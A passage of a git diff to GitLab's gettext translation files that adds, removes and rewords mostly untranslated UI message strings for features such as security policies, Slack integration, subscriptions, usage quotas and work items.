+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr "Your update failed. You must upload a file with the same file name when
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
+msgstr ""
+
+msgid "ciReport|Code Quality hasn't changed."
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr "only %{parent_types} can be parent of Task."
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr "only Task can be assigned as a child in hierarchy."
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/eo/gitlab.po b/locale/eo/gitlab.po
index 6a9e62f75b2..5dd01ff708c 100644
--- a/locale/eo/gitlab.po
+++ b/locale/eo/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: eo\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
